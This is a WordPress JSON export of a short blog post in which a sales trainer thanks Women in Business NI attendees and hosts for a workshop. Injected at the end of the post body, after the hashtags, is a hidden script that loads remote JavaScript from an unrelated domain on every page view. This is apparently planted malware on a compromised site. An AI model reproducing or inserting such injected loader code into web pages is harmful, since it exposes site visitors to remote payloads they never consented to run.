{"id":1357,"date":"2024-04-22T11:05:31","date_gmt":"2024-04-22T11:05:31","guid":{"rendered":"https:\/\/b2bsellingguidebook.com\/?p=1357"},"modified":"2026-10-08T09:20:24","modified_gmt":"2026-10-08T09:20:24","slug":"another-great-day-with-women-in-business-ni","status":"publish","type":"post","link":"https:\/\/b2bsellingguidebook.com\/index.php\/2024\/04\/22\/another-great-day-with-women-in-business-ni\/","title":{"rendered":"Another great day with Women in Business NI"},"content":{"rendered":"<p>I was delighted to again have the big privilege of leading a day\u2019s workshop for a group of <a href=\"https:\/\/www.linkedin.com\/feed\/\"><strong>Women in Business NI<\/strong><\/a> entrepreneurs at the end of last week.\u00a0I think that is now my 5th session\u2026<\/p>\n<p>What a fantastic, friendly, and motivated group!\u00a0We talked, compared, shared, worked, and laughed for the whole day.\u00a0All on sales.\u00a0Which can be daunting for new business owners (and experienced ones too!).<\/p>\n<p>My highlight?\u00a0The &#8216;creativity&#8217; shown in the negotiation exercise! ?\u200d\u2642\ufe0f ??.\u00a0You know who you are!?<\/p>\n<p>Thanks to all of the attendees for making it so much fun, to Terex Corporation Northern Ireland for being such lovely hosts, and to <a href=\"https:\/\/www.linkedin.com\/feed\/\"><strong>Women in Business NI<\/strong><\/a> for their fantastic organisation \u2013 as always.<\/p>\n<p>Special thanks to <a href=\"https:\/\/www.linkedin.com\/feed\/\"><strong>Roisin McDermott<\/strong><\/a>, <a href=\"https:\/\/www.linkedin.com\/feed\/\"><strong>Vicky Blades<\/strong><\/a>, and my hero on the day, <a href=\"https:\/\/www.linkedin.com\/feed\/\"><strong>Heather Carr<\/strong><\/a><\/p>\n<p><strong>#learning,<\/strong> <strong>#northernIreland,<\/strong> <strong>#b2csales,<\/strong> <strong>#<a href=\"https:\/\/jimirving.co.uk\/index.php\/b2b-sales-support\/\">b2bsales<\/a>,<\/strong> <strong>#salescoaching,<\/strong> <strong>#salestraining,<\/strong> <strong>#entrepreneurship<\/strong><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I was delighted to again have the big privilege of leading a day\u2019s workshop for a group of Women in Business NI entrepreneurs at the end of last week.\u00a0I think that is now my 5th session\u2026 What a fantastic, friendly, and motivated group!\u00a0We talked, compared, shared, worked, and laughed for the whole day.\u00a0All on sales.\u00a0Which [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1358,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[],"class_list":["post-1357","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-jim-irvins-blog"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Another great day with Women in Business NI - B2B Selling Guidebook Series<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/b2bsellingguidebook.com\/index.php\/2024\/04\/22\/another-great-day-with-women-in-business-ni\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Another great 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